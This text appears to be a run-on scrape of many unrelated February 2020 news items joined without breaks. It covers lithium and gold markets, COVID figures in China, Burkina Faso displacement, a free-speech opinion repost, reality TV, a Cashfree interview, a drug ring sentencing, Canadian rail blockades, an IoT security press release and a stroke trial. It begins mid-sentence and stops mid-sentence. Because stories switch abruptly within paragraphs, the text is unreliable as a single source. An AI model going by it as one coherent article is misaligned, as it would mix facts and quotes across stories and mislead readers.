has often used choice phrases, including: 'People either see me as Jesus, Superman or an odious little s**t. I think I'm Jesus. A prophet in his own time.' Mr O'Leary's remarks come the day after a white female Muslim convert admitted plotting a suicide bomb attack on St Paul's Cathedral in London. Safiyya Amira Shaikh, 36, was born Michelle Ramsden but converted to Islam in 2007 and is believed to have become radicalised in 2015 after following extremists online. Battery-grade lithium carbonate and hydroxide prices held steady despite higher offers, while thin demand tempered spot buying. Transportation resumed but delays still exist amid novel coronavirus (nCoV-2019) outbreak. Asian seaborne market had limited spot deals with prices within the current range. The European market consolidated previous falls but with some cheap offers still available. Since Chinas authorities allowed domestic business to return to work while continuing to enforce measures to control the outbreak of the novel coronavirus (2019-nCoV), more lithium market participants have returned to work by February 17. Although, lithium business was more slow than usual this week due to a lack of downstream buying while downstream production and domestic logistics were not fully recovered. Fastmarkets weekly price assessment for lithium carbonate, 99.5% Li2CO3 min, battery grade, spot price range exw domestic China was 45,000-51,000 yuan per tonne ($6,399-7,252) on Thursday February 20, unchanged from the previous week. "We just completed production resumption and will return next week. I havent had a new purchasing plan in the past two weeks," a cathode producer told Fastmarkets. "Our prices have not changed for battery-grade carbonate this week even though current freight fees remain high. Fewer qualified and healthy drivers remained a key problem for trans-provincial transportation," a producer said. Battery-grade lithium hydroxide prices stood firm at the current range this week, while spot buying kept thin with rare deals reported. Fastmarkets lithium hydroxide monohydrate, 56.5% LiOH.H2O min, battery grade, spot price range exw domestic China was steady week on week at 52,000-57,000 yuan per tonne on Thursday. "Battery-grade hydroxide prices remained firm this week due to higher transport fees. We can deliver small quantities in February, while large quantity deliveries will be done in March," a second producer said. Asian lithium seaborne market rangebound The cif China, Japan and Korea battery-grade lithium spot market was quiet this week with prices at a standstill. Most Asian buyers were in no hurry to buy and held watchful attitudes toward Chinas lithium market. Fastmarkets assessed the lithium carbonate, 99.5% Li2CO3 min, battery grade, spot price at $8-9.50 per kg on February 21, while Fastmarkets assessment of the lithium hydroxide monohydrate, 56.5% LiOH.H2O min, battery grade, spot price at $9.50-11 per kg - both on a cif China, Japan and Korea basis and both unchanged week on week. "I havent seen a particular change in the spot market this week. Though some higher hydroxide offers were heard, no transactions have been reported for the moment," a distributor said. European prices static awaiting more clarity on China In Europe and the United States, prices consolidated from previous falls for both carbonate and hydroxide grades amid a quiet spot market. Fastmarkets weekly assessment for the lithium carbonate 99.5% Li2CO3 min, battery grade, spot price ddp Europe and US stood at $10-11 per kg on Thursday, unchanged from last week. Fastmarkets assessment for the lithium hydroxide monohydrate 56.5% LiOH.H2O min, battery grade, spot price ddp Europe and US for the week to Thursday was $11-12 per kg, also stable from the previous week. There were mixed views on the market direction in Europe and the US, Fastmarkets understands. Some market participants think prices will be firmer prices in the short term, after the Chinese producer Ganfeng announced plans to increase its battery-grade lithium hydroxide prices by 10% on higher transport fees and production costs resulting from the coronavirus. Some sources believe that other Chinese companies will follow suit and increase their prices as a result. That said, for the time being there were some competitive offers from China for arrival in Europe in late March/ early April. "There are some cheaper offers from China but its not fully affecting the market yet, but the deliveries arriving from China into the European market are not that big," one Europe-based producer said. "The market is awaiting a clear direction in the following weeks," a second producer said. All things considered, if the delays are extended, the disruptions could slow global demand for lithium from end users, such as electric vehicles, and ultimately hit prices, sources told Fastmarkets. Learn more about Fastmarkets lithium pricing methodology here and read the latest lithium price spotlight here. Fastmarkets trade log for battery-grade lithium carbonate in China for February includes all trades, bids and offers reported to Fastmarkets. All lithium carbonate, hydroxide and spodumene prices are available in our Battery Raw Materials Market Tracker. Get a sample of the report here. Texas is home to myriad state parks that offer stunning scenic trails, magical watering holes and historical sites that make for the ultimate adventure. Drive out to Canyon and see the "Grand Canyon of Texas" at Palo Duro Canyon State Park. Located in the heart of the Panhandle, the canyon is the second largest in the country, according to the Texas Parks and Wildlife Department (TPWD). Camp in one of three beautiful brick cabins built 100 years ago and located along the canyon rim, or spend the day hiking, biking or horseback riding through the canyon. China sees overall decline in numbers of new confirmed COVID-19 cases: official BEIJING, Feb. 21 (Xinhua) -- The total number of newly confirmed cases of the novel coronavirus has gradually decreased across China, showing a positive signal that the epidemic situation has improved, a health official said Friday. "The daily number of new confirmed cases nationwide dropped from the peak of 15,152 on Feb. 12 to less than 900 on Thursday," Zeng Yixin, deputy director of the National Health Commission, said at a press conference. Also, the number of new confirmed cases of COVID-19 outside Hubei, the epicenter province of the outbreak, was 258 reported on Thursday, down from the highest peak of 890 on Feb. 3, Zeng said. Since Feb. 18, China's daily recovered people infected with the coronavirus had outnumbered new confirmed infections for three days in a row, the official said. (Natural News) I have written for years on the effort of European countries to expand their crackdown on free speech globally through restrictions on social media and Internet speech. It appears that Facebook chief executive Mark Zuckerberg has relented in what may prove the death knell for free speech in the West. Zuckerberg seems to relent in asking governments for regulations stipulating what speech will be permitted on Facebook and other platforms. It is the ultimate victory of France, Germany, and England in their continuing attack on free expression though hate speech laws and speech regulation. (Article republished from JonathanTurley.org) Zuckerberg told an assembly of Western leaders Saturday at the Munich Security Conference that There should be more guidance and regulation from the states on basically take political advertising as an example what discourse should be allowed? He did add: Or, on the balance of free expression and some things that people call harmful expression, where do you draw the line? The problem is that his comments were received as accepting that government will now dictate the range of free speech. What is missing is the bright line rule long maintained by the free speech community. As tragically demonstrated in France, Germany, and the United Kingdom, speech regulations inevitably expand with time. The desire to silence ones critics becomes insatiable for both governments and individuals. Zuckerberg is facing great pressure, including from Democratic leaders in the United States, to regulate political speech and he seems to be moving away from the bright-line position against such regulation as a principle. Instead, he is accepting the fluid concept of balanced regulations that has always preceded expanding speech codes and criminalization: There are a lot of decisions in these areas that are really just balances between different social values. Its about coming up with an answer that society feels is legitimate and that they can get behind and understand that you drew the line here on the balance of free expression and safety. Its not just that theres one right answer. People need to feel like, OK, enough people weighed in, and thats why the answer should be this, and we can get behind that. Read more at: JonathanTurley.org More than 4,000 people are being forced to flee their homes each day in Burkina Faso, as attacks on civilians by jihadist militants increase in number and frequency, the UN's refugee agency said on Friday. "People fleeing the violence report attacks on their villages by militant groups, killing, raping, pillaging. Terrified of these attacks, residents have left everything behind to find safety," the UNHCR said in a statement. "In Burkina Faso, the latest attacks by militants on civilians and local authorities have been forcing a daily average of more than 4,000 people to flee their homes and search for safety since January 1," it said. In 2019, the daily average had stood at around 1,400, the agency's spokesman Babar Baloch told AFP. So far, 765,000 people had already been displaced, the UNHCR estimated. Of these, more than 700,000 had fled in the last 12 months, including 150,000 in the last three weeks alone. Most of those displaced were now living in host communities, but the UNHCR was finding it difficult to assist them because access was "problematic" in some regions due to the insecure situation, spokesman Andrej Mahehic told a briefing. Burkina Faso is an impoverished and politically fragile country in the west of Africa which, like neighbouring Mali and Niger, suffers frequent attacks by jihadist groups. Starting in northern Mali in 2012, jihadist violence, often intermingled with inter-community conflicts, spread to Burkina Faso and Niger, killing 4,000 people in the three countries in 2019, according to UN figures. The UNHCR said that more than 4,400 refugees from Niger had arrived in Mali, fleeing a string of attacks in the Tillaberi and Tahoua regions. The refugees had found safety in the Malian towns of Anderamboukane and Menaka, where they joined another 7,700 displaced Malians in the same area. More people continue to cross the border between Niger and Mali, the UNHCR said. "Alarmed by the dramatic rise of forced displacement in the Sahel, UNHCR reiterates its call for the protection of civilian populations and those fleeing violence," the statement said, adding that "humanitarians need safe access to deliver assistance. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Bloombergs advisers, well aware of his uneven public performance as New York mayor, have tried to reconcile the two identities. They have scripted a campaign message that focuses heavily on the sheer scale of his operation and power of his purse, not the campaign talents of the candidate. On the trail, he boasts of having the record and the resources to challenge Trump, not the heart or the passion. They have had to urge him to be more forthcoming about his modest upbringing and emotional drive, along with offering more heartfelt apologies for policies like stop-and-frisk policing that adversely affected minority communities. (Kitco News) - Gold has enormous upward momentum at the moment, and that left participants in the weekly Kitco gold survey overwhelmingly expecting prices to keep rising next week due to the combination of chart-based momentum and ongoing worries about the coronavirus outbreak. The metal soared to a seven-year high on Friday, fueled by the continued spread of the virus around the world and prompting worries this will dent economic growth. Some observers also cited expectations for continuing soft monetary policy in the U.S. and elsewhere. Early this week, many participants in a range of markets took the "ostrich approach" sticking their head in the sand and not worrying about the outbreak, said Charles Nedoss, senior market strategist with LaSalle Futures Group. But as the week wound down, risk sentiment was dinged and gold took off. "It seems like it [the virus] is getting worse," Nedoss said. "It showed up in Korea and Japan. You're hearing more talk of it hitting the economy obviously travel and tourism." A major technology company Apple Inc. this week issued a warning that sales will fall short of its forecast for the current quarter since the virus has weakened both production and demand in China. April gold generated technical follow-through this week when the metal broke above the previous high for the year of $1,619.60 hit back on Jan. 8, when the worry was that the U.S. and Iran might go to war. "We've got a trend going," said John Weyer, co-director of commercial hedging with Walsh Trading. "I don't see anything that's going to stop it." Of course, a contrarian would say when expectations in any market are this one-sided, all of the potential near-term buying or selling may have already occurred, meaning the market could end up going the other way. Fifteen market professionals took part in the Wall Street survey. Fourteen, or 93%, called for gold to rise. Only one voter, or 7%, called for prices to fall, while nobody was neutral. Meanwhile, 1,121 votes were cast in an online Main Street poll. A total of 820 voters, or 73%, looked for gold to rise in the next week. Another 192, or 17%, said lower, while 109, or 10%, were neutral. Wall Street Bullish Bearish Neutral VS Main Street Bullish Bearish Neutral In last week's survey for the trading week now winding down, 65% of Wall Street and Main Street voters were bullish. Just before 11 a.m. EST, Comex April gold was up by $59.40, or 3.7%, for the week so far to $1,645.80 an ounce. "I am bullish for next week," said Kevin Grady, president of Phoenix Futures and Options LLC. "Gold's rally is quite impressive, especially in the face of a surging U.S. dollar. The coronavirus statistics coming out of China are getting worse. Until we start to see the tide turn, gold should hold a bid." Phil Flynn, senior market analyst with at Price Futures Group, commented that gold is in "breakout mode," thus, he sees more gains ahead. "Gold has gotten a boost because China continues to take measures to stimulate the economy and shield it from the coronavirus," Flynn said. "Also, the doomsday-buying effect is also in play as the coronavirus is causing some real fear and conspiracy theories." Afshin Nabavi, head of trading with MKS, said gold is now poised to run higher toward $1,650 and $1,675. However, he added, "a bit of correction to the downside would be healthy" for the gold market. Richard Baker, editor of the Eureka Miner's Report, said gold likely "will march inexorably towards $1,800" since "we haven't seen the worst from the coronavirus." He listed a target of $1,680 for Comex gold next week. "As gold hits seven-year highs, it is interesting to note the Japanese yen has weakened to levels not seen since April 2019," Baker said. "Coronavirus cases in Japan have essentially removed its currency from safe-haven status.As a consequence, the lustrous metal and U.S. Treasurys have become the global safe-haven of choice as 10-year yields approach the September lows of last year during the U.S.-China trade negotiation brouhaha." Jim Wyckoff, senior technical analyst with Kitco, said the gold market's technical posture "turned more bullish this week" and the coronavirus impact on global economy "is perceived to be getting worse." Adrian Day, chairman and chief executive officer of Adrian Day Asset Management, also said higher. "It's not only concern about [the] coronavirus, but investors are increasingly looking for some insurance, including against a volatile stock market," he said. One of Ireland's tiniest calves has arrived into the world measuring just over a foot high. The tiny week-old calf stands just as high as her owners welly. The diminutive female is the ninth offspring of Ella, a Dexter cow known for being one of the shortest cows on the planet. Rosa is the latest addition to the Dexter cow dynasty at Oxhill Stud, Dromore West, Co Sligo. Dexters are the smallest of the European cattle breeds, standing at about half the size of a traditional Hereford and just one-third of a Friesian milking cow. Sligo farmer Henry Judge said the newborn calf measures just up to the top of his welly. Ella gave birth on Valentines Day, she had a female," he said. She is very, very small, shes only up to the top of my welly. We also have a picture of her standing in an 18-inch pipe. She is like a little koala bear. This little girl is so cute looking. The new calf, Rosa Sligo cow Ella who stands at a tiny 78cm - was hailed as the world's shortest for several months a few years ago before she was beaten to the title by Manikyam, at 61.5cm, from a farm in Kerala, India. Her owner has always maintained that his ten-year-old Dexter cow is genuinely the worlds most petite cow as the tiny Indian contender has no womb so she cant be classed as a cow under the Oxford dictionary. I would still say that I still have the smallest cow in the world because the animal in India is a dwarfed bovine," Mr Judge said. It doesnt have a womb so it has never had a calf or never can have a calf. But he said he doesnt need to have his much-loved cow in the Guinness Book of Records to know her worth. Im glad Ive had her. Ive had great fun out of her. Shes a great gatherer at shows and shes done a lot of fund-raising for various charities. He said 10-year-old Ella is a very natural mother. She is a fantastic mother," Mr Judge said. She is used to humans. Some cows, when they calf, you would be afraid to go into the field but Ella will let you clean the calf. Rosa on the farm. She is a very gentle type, shes a great mother. He said the Dexter cattle started to breed at a much younger age than other cow breeds. I never thought she would go in calf because she was so small. She went away to give birth and I spent two days looking for her as I thought she was dead. And then I saw her coming up the field with her little baby with her. Dexters are different from normal cows, they grow very fast and are mature at a year. They mature much quicker than your Charleroi or your Belgian Blue. They all go in calf at around a year old but the conventional animals would be calving at around three years old whereas Dexters are a year and eight months. Eid al-Qobeissy's two birds perch majestically in the waiting room of Abu Dhabi's falcon hospital, awaiting a routine check-up ahead of their hunting trip to Azerbaijan. Like other well-travelled residents of the United Arab Emirates, the falcons will make the journey with their devoted owner on a well-worn route from a country where the creature is both a national symbol and treasured tradition. "This has been a hobby of mine since 2007," said the 26-year-old, gently stroking one of the prized birds of prey, which wear leather hoods to keep them calm and quiet. After waiting in the pristine white-marbled reception area of the animal hospital, the falcons will undergo blood tests in order to complete paperwork for the trip. They are among about 11,000 falcons the hospital treats annually, a number that has more than doubled in the past 10 years. "Falcons have a very special place in the heart of the Emiratis," said the hospital's director Margit Muller. "Here, falcons are not considered birds, they are considered children of the Bedouins because, historically, falcons were used to hunt meat, allowing the Bedouins family to survive in this very harsh desert life." In 2010, UNESCO added falconry to its list of Intangible Cultural Heritage of Humanity. - Talons and training - The Abu Dhabi facility is the world's largest falcon hospital, frequented by falconers from across the Gulf region. As well as check-ups and routine trimming of talons, it also conducts complicated surgery and offers a training programme for veterinary students from more than 40 countries to learn about avian medicine. "The very complicated procedures are either broken legs or broken wings, or when a falcon has a really messy accident that results in big injuries," Muller said. "Very long surgeries... can take up to three or four hours. That is the longest we can keep a falcon under anaesthesia." Opportunities to take a falcon hunting are limited in the UAE, where it is only permitted in designated reserves. That means that for many birds, the hospital is an essential stop-off before heading to popular overseas hunting destinations including Morocco, Kazakhstan and Pakistan. Emirati falconers are only legally allowed to own captive-bred birds, which must have their own passports that comply with the Convention on International Trade in Endangered Species of Wild Fauna and Flora (CITES) for transport. Animals other than guide dogs are not usually allowed in the cabins of the UAE's main carriers, but for falcons exceptions are made. Abu Dhabi's Etihad permits falcons in the cabin or as checked baggage, and Dubai's Emirates allows birds to travel alongside their owner to certain destinations in Pakistan. "The most popular destination for falconers travelling with their falcons in the passenger cabin is Pakistan," an Emirates spokeswoman told AFP. - Girl power - While the hospital has its own programme and facilities to breed falcons that can be purchased, most of the birds are imported to the UAE from breeders in the Americas and Europe. "They stay with the falconer for as long as they live," Muller said. "They will not be released because they are captive-bred falcons." Muller added that the most sought-after and expensive falcons are females, which can carry up to five times their own body weight. They are also considered the most beautiful. "The female is usually one third bigger than the male, and more powerful," she said, adding that captive-bred female falcons can cost upwards of 100,000 euros ($108,000). For falconer Salem al-Mansouri from Abu Dhabi, the tradition is much more than an expensive pastime -- it is a symbol of Emirati culture. "Falcons were used to hunt, and you can say that it was the only method for hunting for survival, especially when travelling long distances hundreds of years ago," the 30-year-old told AFP. "We inherited it from our grandfathers and fathers, who taught us, and now we teach the next generation." By Elizabeth Kwiatkowski, 02/20/2020 ADVERTISEMENT FOLLOW REALITY TV WORLD ON THE ALL-NEW GOOGLE NEWS! Reality TV World is now available on the all-new Google News app and website. Click here to visit our Google News page, and then click FOLLOW to add us as a news source! ADVERTISEMENT Elizabeth Kwiatkowski is Associate Editor of Reality TV World and has been covering the reality TV genre for more than a decade. star Zach Justice claims Mindy Shiben told him off camera she wanted a divorce and to see other people during the last night of their honeymoon, adding that she also allegedly brought up the idea of not living together in Washington, D.C.During Wednesday night's episode of : Unfiltered, Zach watched back a clip of Mindy moving into the "neutral" apartment the show had provided for them as a couple by herself."Okay, Zach, you're a married man. Why did you decide not to move in with your wife?" Unfiltered host Jamie Otis asked."So things didn't exactly end well coming out of the honeymoon -- at all," Zach revealed.When Jamie asked Zach to walk her through what happened during the couple's honeymoon in Panama, he replied, "In my eyes, it was my point to say, 'Look, I don't know what to do. I don't have any chemistry. I don't have any attraction here.'""And then later that night," he continued, "there was a really tough response to that whole scenario and then her also again reiterating, 'I want a divorce.'"Jamie appeared shocked that Mindy allegedly threatened Zach with divorce, especially since viewers have watched Mindy put so much effort into her relationship and say she wanted her marriage to work out so badly."She said she wanted a divorce?" Jamie asked for clarification."Yeah," Zach replied. "The same night [during our honeymoon]. And then the next day, she was like, 'I think we should see other people,' which was kind of alarming for me."Zach confirmed the alleged exchange happened off camera."Because I was going to say, 'We didn't see any of that,'" Jamie noted.Zach further claimed of his conversation with Mindy, "It started off as, 'You can go to your place; I can go to my place. We can stay at our separate places.' And I think space for me was going to be the most important choice at that point."Zach's co-star Michael Watson also had a rough start to his honeymoon with wife Meka Jones on the show's tenth season after Michael allegedly gave his wife an ultimatum they sleep together during the honeymoon or else he'd want out of the relationship.When asked whether Michael ever considered not moving in with Meka once they returned to the United States, he replied, "I think the thought crossed my mind, definitely.""I would say if we didn't get back to some common ground, it would've been hard for me to move in," Michael admitted.Zach then revealed what it would take for him to move in with Mindy and try to get his marriage back on track."Umm, I think coming back from the honeymoon, I think having just valuable time together in a different direction, under a different light, and allowing... me to want to be more a part of her life and moving in together," Zach shared."My biggest fear for you is that if you're not with her a lot then you're not going to have those feelings," Jamie noted. "So that's just a thought.""Understandable," Zach said.From the way has presented Zach and Mindy's relationship, it appears Zach was the one who refused to move in with Mindy due to his lack of attraction to her . Mindy has claimed on Unfiltered Zach was not taking their marriage seriously Mindy has been shown giving the marriage her all and hoping things would take a turn for the better.In the latest tenth-season episode , Zach was shown making an effort by meeting Mindy and her friends at a game bar. He also showed up for a wine night at what was supposed to be his new, shared apartment with Mindy.Zach claimed he was hoping he would miss Mindy and want to spend more time with her if they were living apart.'s tenth season also stars Katie Conrad and Derek Sherman Taylor Dunklin and Brandon Reid , and Jessica Studer and Austin Hurd currently airs on Wednesday nights at 8PM ET/PT on Lifetime.Interested in more news? Join our Married at First Sight Facebook Group Sinha says with Instant Settlements, businesses can access their funds within 15 minutes of capturing a payment, even on bank holidays. Cashfree, one of the up and coming business payment companies in India recently introduced the instant settlements feature. The company also plans to scale this feature and disburse up to 300-500 crores per month. Cashfree has over 55,000 customers that include prominent names such as Xiaomi, Tencent, Zomato, Cred, Club Factory, Shell, and Dunzo. While the company has grown quickly, we spoke to Akash Sinha, Co-Founder & CEO of Cashfree to deep-dive into the companys future plans and how this new feature will help businesses and its end consumers. Could you elaborate on how Cashfrees Instant Settlement option will affect the nature of the transaction? How will the feature help businesses? At Cashfree, we work very closely with our merchant partners to identify their pain points with payment collection and disbursals. Overwhelmingly, delays in funds being released are one of the biggest deterrents for businesses to adopt digital payments. With Instant Settlements, businesses can access their funds within 15 minutes of capturing a payment, even on bank holidays. This eliminates the need to wait for three or more working days to receive settlements. Banks typically follow a T+3 settlement cycle; implying if the payment is collected on Monday, it will be available for use on Thursday. This feature allows businesses to utilise online payments at par with cash and provide them with better liquidity. For instance, wherever inventory is involved, businesses can use the same funds to replenish and increase the volume of existing stock, minimising dependency on any credit line. Could you briefly explain Cashfrees business model and how does the Instant settlement benefit Cashfree? It was in the early days of Cashfree that we recognized that in digital payments, an unaddressed and underserved challenge for businesses was that bulk payments and disbursals. Since our inception in 2015, we have worked closely with leading banks and merchants to create disruptive products that allow businesses to automate bulk payments and disbursals. Cashfree automates money transfers through 100+ payment modes to enable businesses, marketplaces, and fintech undertakings to facilitate seamless cash flow. We are enabling an ecosystem of digital transactions, working closely within the banking infrastructure to help both startups and established companies make digital payments work for them. Businesses can easily use the Cashfree Dashboard to create subscription plans and add users through SMS, email or WhatsApp alerts. Businesses can also integrate the Cashfree API with their internal product or enterprise resource planning (ERP) to automate the entire process. Apart from Instant Settlements, we earlier launched nine products, including six industry-first fintech innovations: Payouts, the first gateway in bulk disbursal solution Instant refunds, available for the first time on a payment gateway Cashgram, an instant refunds solution on Cash on Delivery orders, for the first time Pre-authorization, which block funds temporarily & debit full or partial amount on fulfilment Subscriptions, one of the first gateways to offer recurring payments via e-mandate Same Day Settlements, industry-first feature of T+0 settlement cycle With Instant Settlements, our goal is to make digital payments as attractive and easy as handling cash and strengthen the payments and banking infrastructure in India. As part of the introduction of Instant Settlement feature, we will soon extend the facility to other collection products, including auto-collect and marketplace settlement besides Cashfree payment gateway users. We expect to disburse up to INR 300 - 500 crores per month via Instant Settlements. What are Cashfrees future plans and what steps have you undertaken to achieve them? At Cashfrees core is a drive to solve problems faced by businesses in digital payments and disbursals. This guiding force, coupled with a robust and knowledgeable team, has seen our profitability increasing exponentially over the last few years. Cashfrees revenue tripled from March 2018 to March 2019. Cashfrees strong growth trajectory that has witnessed our headcount increase from around 40 people in April of 2019 to more than 100 people in January 2020. Today, we have operations in 4 cities Mumbai, Delhi, Chennai and Bangalore and are looking to expand across India. We are also turning our focus on working to enable the digital payments ecosystem. We work with all of Indias leading banks comprising 50+ banking partners. Currently, we work with over 55,000 merchants and we aim to secure 5 lakh, merchant partners, by the end of 2020. Delhi Cabinet Minister Rajendra Pal Gautam on Friday met with DCW Chief Swati Maliwal to discuss the plans to set up 'mohalla marshals' and SC/ST Women Welfare Cell to ensure women's safety in the capital. "The DCW team has done exemplary work in the last three years. In our Guarantee Card, women's safety is the topmost priority. The plan is to set up mohalla marshals and strengthening Mahila panchayats in the upcoming months," Gautam was quoted as saying in a government release. The Cabinet Minister has also asked DCW to set up a special SC/ST women welfare cell in the Commission that will work towards the welfare of women and girls from the community. According to the Delhi government, the role of mohalla marshals will be a revolutionary step in ensuring the overall security and safety at the grass-root level. "We have conducted a pilot project on mohalla marshals in Burari wherein civil defence officers conducted regular checks in those locations which were the most vulnerable and from where we received the maximum complaints from. The results were outstanding and should be implemented across all 70 Vidhan Sabhas," Maliwal said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) BOSTON A Dorchester man who pleaded guilty to conducting a Boston to Cape Cod drug ring was sentenced to prison and ordered to forfeit his condominium and truck on Thursday. James Ramirez, 57, was sentenced by U.S. District Court Judge William G. Young to serve five years and five months in prison, five years supervised release, pay a $250,000 judgment and surrender his Ford F-150 truck and his Boston condominium, which was used as a stash house, said Christina DiLorio-Sterling, spokeswoman for U.S. Attorney Andrew Lelling. Ramirez pleaded guilty in November 2017 to one count of conspiracy to distribute and possess with intent to distribute cocaine and 400 grams or more of fentanyl as well as possession of a firearm by a convicted felon, she said in a written announcement. He was one of four people arrested in 2017 in a drug ring that shipped large amounts of fentanyl, cocaine and heroin from Boston to Cape Cod. Ramirez and co-defendant Kelvin Chalas were arrested on charges that they supplied the drugs to brothers Alex and Kevin Fraga on Cape Cod, she said. Alex Fraga was sentenced to serve 10 years, nine months in prison and Kevin Fraga was sentenced to three years, seven months. Chalas case has not resolved, she said. The Fraga brothers were first arrested by federal agents and large quantities of fentanyl, heroin and cocaine were seized. A week later Chalas and Ramirez were arrested and drugs were seized from Ramirezs condominium and investigators found a pistol and about 1,300 fentanyl pills from a bank safe deposit box, DiLorio-Sterling said. The case was investigated by the federal Drug Enforcement Administration; Massachusetts State Police; the federal Bureau of Alcohol, Tobacco, Firearms and Explosives; the Internal Revenue Services Criminal Investigation division and the Cape and Islands District Attorney Michael OKeefes Office. The Barnstable County Sheriffs Department and police from Brewster, Harwich, Sandwich, Mashpee, Chatham, Yarmouth, and Barnstable also were involved with the investigation, she said. A counter protester removes pieces of the blockade as supporters of the indigenous Wet'suwet'en Nation's hereditary chiefs camp at a railway blockade as part of protests against British Columbia's Coastal GasLink pipeline, in Edmonton, Alberta, Canada February 19, 2020. REUTERS/Codie McLachlan After about two weeks of pipeline protests blocking railroads and the movement of people and goods its still too early to put a dollar figure on the economic impact. But businesses and individuals are already feeling a financial toll, like CN and VIA workers who have been temporarily laid off. Things will likely get worse the longer the situation drags on. Doug Porter, BMOs chief economist, offers a preliminary outlook. The ultimate cost will depend on the duration of the shutdown, and we have plenty of recent evidence to make an early assessment, he said in a research note. The November CN strike, which lasted more than a week, ended up carving less than 0.1 ppts from GDP that month. However, this shutdown threatens to be more open-ended, with the situation fluid. Travellers are stranded and commuters cant get to work. Airline prices have gone up as a result. The situation is inconvenient but is unlikely to have major economic repercussions outside of the transportation sector itself, Pedro Antunes, The Conference Board of Canadas chief economist, told Yahoo Finance Canada. Billions of dollars at stake On the other hand, an ongoing disruption to the movement of goods along the supply chain would have widespread repercussions. Todays transportation logistics are extremely tight, allowing industry to manage production with just-in-time delivery, said Antunes. Essentially, companies tend to keep a minimum in inventories. As such, even short disruptions can lead to production stoppages. The Railway Association of Canada estimates more than $175 billion worth of goods are exported with the help of the countrys railways every year. Dennis Darby, CEO of Canadian Manufacturers and Exporters, told a Toronto press conference that $425 million worth of goods are stuck for every day the blockade continues. Exporters are at risk from the transportation stoppages, but so are domestic industries and consumers, said Antunes. Story continues Were already hearing about some products not being available in store shelves, especially in eastern Canada. Businesses pen open letter to Trudeau A number of small businesses and farmers are having a hard time getting their products to market. They are also struggling to get supplies they need like propane, which is used to heat some homes. The Canadian Federation of Independent Business (CFIB) represents 110,000 small and medium-sized business members, who have shared their concerns. It wrote an open letter to Prime Minister Justin Trudeau to figure out how get things moving again. For example, one member in Quebec that makes flags and banners buys raw materials from a company in Taiwan, which sends the goods to Vancouver and then sends them by train to Montreal. Currently, this company is waiting for a delivery that will allow them to complete their contracts, which expire at the end of March 2020, read the letter. The company says its worried about production and delivery delays of the finished products, which would result in an approximately $100,000 loss if its contractual requirement isnt fulfilled. Theres also a CFIB member business in Alberta that uses 100,000 lbs of steel per day, which is shipped by rail. The owner says he can go 30 days before being forced to lay off 400 people. It, along with the CFIB, are concerned about another hit to Canadas reputation as a dependable place to do business. The CFIB hopes government and law enforcement can work together to resume rail service. Its also calling on the Canada Revenue Agency to be flexible with severely affected small businesses. Jessy Bains is a senior reporter at Yahoo Finance Canada. Follow him on Twitter @jessysbains. Download the Yahoo Finance app, available for Apple and Android. A 30-year-old Alger man was arraigned Thursday in connection with a Feb. 4 Gladwin County crash that left a 20-year-old Amish man injured in a ditch, his buggy destroyed and his horse dead. Edsel Hill was arraigned in Gladwin County's 80th District Court and charged with driving revoked, denied causing serious injury and reckless driving causing serious bodily function. He was released on a $10,000 personal recognizance bond. The victim remains hospitalized in MidMichigan Medical Center - Midland. NEW YORK, Feb. 21, 2020 /PRNewswire/ -- Firedome , a leading IoT cybersecurity solutions provider, today announced an integration with Azure Security Center for IoT to combine Azure Security Center for IoT's threat monitoring and recommendation service with Firedome's real-time protection and response capabilities. This integration will create a dynamic, end-to-end cybersecurity solution tailored for IoT device manufacturers with the combined power of both solutions' AI-driven insights and cybersecurity capabilities. Firedome offers a unique, real-time, endpoint cybersecurity solution for IoT manufacturers, with broad detection, prevention and response capabilities and compatibility with all main IoT operating systems (Linux, FreeRTOS, Windows and Android). Azure Security Center for IoT extends customers' existing cybersecurity view to the entire span of their IoT products, for a true panoramic view of all network resources and devices. With the power of Microsoft Threat Intelligence for threat alerts and recommendations and easy integration with other device management tools, Azure Security Center offers advanced security posture management. By integrating the two products, Firedome and Microsoft will be able to deliver real-time protection and response, with dual detection capabilities of both Microsoft Threat Intelligence and Firedome's machine learning, cloud-based AI engine. The combined solution provides dynamic, end-to-end cybersecurity protection tailored for IoT device manufacturers. This will enable customers to maximize threat awareness with both Microsoft Threat Intelligence and Firedome Detection and enjoy the peace of mind of Firedome's real-time threat resolution of both known and unknown (0-day) threats, without the need for manufacturer intervention. "We are proud and excited to join forces with Microsoft Azure Security Center for IoT," said Moti Shkolnik, Firedome's Co-founder and CEO. "Microsoft chose Firedome as one of its strategic IoT security partners. This is exciting news for IoT device manufacturers looking for advanced cybersecurity protection for their device base. Together, we can offer threat visibility, with both Microsoft Threat Intelligence and Firedome detection, and add Firedome's dynamic response capability to automatically block any detected threats." Michal Braverman-Blumenstyk, CTO and GM, Cloud and AI Security Division at Microsoft Corp. said, "We are pleased to partner with Firedome's Endpoint Protection solution to provide a solution for manufacturers who don't have a SOC team for their IoT installed device base. We view this collaboration as a way to enrich Microsoft Azure Security Center for IoT with new response capabilities and real-time IoT device protection to our manufacturer clients." Firedome recently announced a $10M Series A funding round, completed only nine months after their seed round and was also named a CES 2020 Innovation Awards Honoree for cybersecurity and personal privacy. About Firedome Firedome works with leading manufacturers to differentiate them with proactive, real-time cybersecurity on their device base. We offer an AI-based, software-only solution for autonomous threat resolution to establish device makers as security leaders in their space, while expanding market size and share, opening new revenue streams, reducing the risk of cyber-attacks and reducing operating costs across key functions. Smart device manufacturers for home IoT, IIoT and enterprise IoT can rely on Firedome's innovative dynamic, real-time endpoint solution, which works with all IoT operating systems and features an AI-powered software-only agent and 24/7 SOC Team. Firedome has offices in New York and Tel Aviv and has thus far secured $14.5M in funding. The company employs multinational cyber, embedded, research and analysis experts. For more information please visit www.firedome.io . Media Contact: Sharon Mirsky [email protected] SOURCE Firedome Related Links https://firedome.io After 50 years of research and the testing of over 1,000 drugs, there is new hope for preserving brain cells for a time after stroke. Treating acute ischemic stroke patients with an experimental neuroprotective drug, combined with a surgical procedure to remove the clot improves outcomes as shown by clinical trial results published today in The Lancet. The multi-center, double-blinded, randomized trial, led by a team at the Cumming School of Medicine's (CSM) Hotchkiss Brain Institute and Alberta Health Services, investigates the use of the neuroprotective drug nerinetide, developed by NoNO Inc, in two scenarios in the same trial. In one scenario, nerinetide is given to patients in addition to the clot-busting drug alteplase. In the second scenario, patients who were not suitable for alteplase received only nerinetide. Both groups of patients had concurrent endovascular treatment (EVT) to remove the clot. "Compared to placebo, almost 20 per cent more patients who received nerinetide along with endovascular treatment, but did not receive alteplase, recovered from a devastating stroke - a difference between paralysis and walking out of the hospital," says Dr. Michael Hill, MD, a neurologist at Foothills Medical Centre (FMC) and professor in the departments of 